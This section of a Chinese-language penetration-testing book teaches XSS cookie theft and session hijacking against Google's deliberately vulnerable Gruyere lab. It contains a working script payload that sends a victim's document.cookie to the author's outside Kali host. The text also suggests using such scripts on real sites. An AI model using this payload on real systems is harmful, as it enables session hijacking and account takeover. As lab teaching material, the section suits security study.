5.7 XSS cookie盗取/身份认证劫持

脚本小子可能会用XSS来生成警报弹窗,不过,作为专业渗透测试人员,XSS的真实价值在于获得访问系统的特权。下一节我们将会介绍如何做。如果你没有这么做过,那么在线创建一个自己的Gruyere实例来测试下节中介绍的概念。

访问http://google-gruyere.appspot.com/start ,谷歌应用引擎会创建一个新的Gruyere实例,并分配一个唯一ID,将你重定向回http://google-gruyere.appspot.com/123456/ (其中123456是这个例子中的唯一ID)。

Gruyere的每个实例都是跟其他实例完全分离的,所以你的实例不会被其他也在使用Gruyere的用户影响。你需要用你自己的唯一ID替换掉所有例子中的123456。

如果你想跟其他人分享在Gruyere上完成的工作和项目(比如,向他们展示一次成功攻击),将带有你的唯一ID的完整链接发给朋友即可。

不要在Gruyere账户上用你在其他真实服务中用到的密码。

举个通过XSS漏洞来窃取会话cookie的例子。如果要在本地网络上使用此技术,你的Kali实验台和带有漏洞的Web服务器必须能够相互通信。由于我们使用的是Gruyere项目,需要给Kali Linux实验台分配个公网IP地址,放到因特网上。这样Kali Linux就能跟目标Gruyere服务器正常通信了。

通常,给Kali Linux分配一个公网IP地址是很糟糕的做法。执行这步操作意味着你撤开了防火墙,将Kali Linux暴露给了远程攻击者。

在登录Gruyere时,点击屏幕右上方的Sign up 按钮,创建一个用户名,如下方截图所示:

在这个练习中,我们会创建两个分离的账户。让我们先用第一个账户登录。在这个例子中,我们的第一个账户名为TheDude 。下一步,跳到代码片段部分,创建一个新的代码片段。我们会在这里输入XSS脚本,如下方的截图所示:

我们知道Gruyere内含XSS漏洞,所以会在这里调用脚本。在现实环境中,我们会对目标网站使用同样的脚本来测试它是否含有XSS漏洞。举个例子,如果我们知道Facebook的中间名字字段有可以被XSS攻击利用的漏洞,攻击者就需要创建一个个人档案,并将这个脚本用作中间名。

Facebook对这种攻击方式的漏洞利用是免疫的。这里只是个假设的例子。

我们输入了如下代码:

<script>document.write("<img src='http://kali.drchaos.com/var/www/xss_

   lab/lab_script.php?"+document.cookie+"'>")</script>

虽然在你输入该命令时它可能会在显示上自动换行,但它必须以单条命令的形式输入。

这只是可用于对有漏洞的系统进行漏洞利用的诸多脚本中的一个。本书的重点是利用Kali Linux中的工具,不过,顶尖的渗透测试人员会使用行业中可用的类如Kali Linux的各种工具,以及各种定制工具,如攻陷目标的XSS脚本。我们建议你利用Gruyere目标实例来继续研究本话题和测试新的攻击脚本,藉此来掌握构建和执行定制脚本攻击的能力。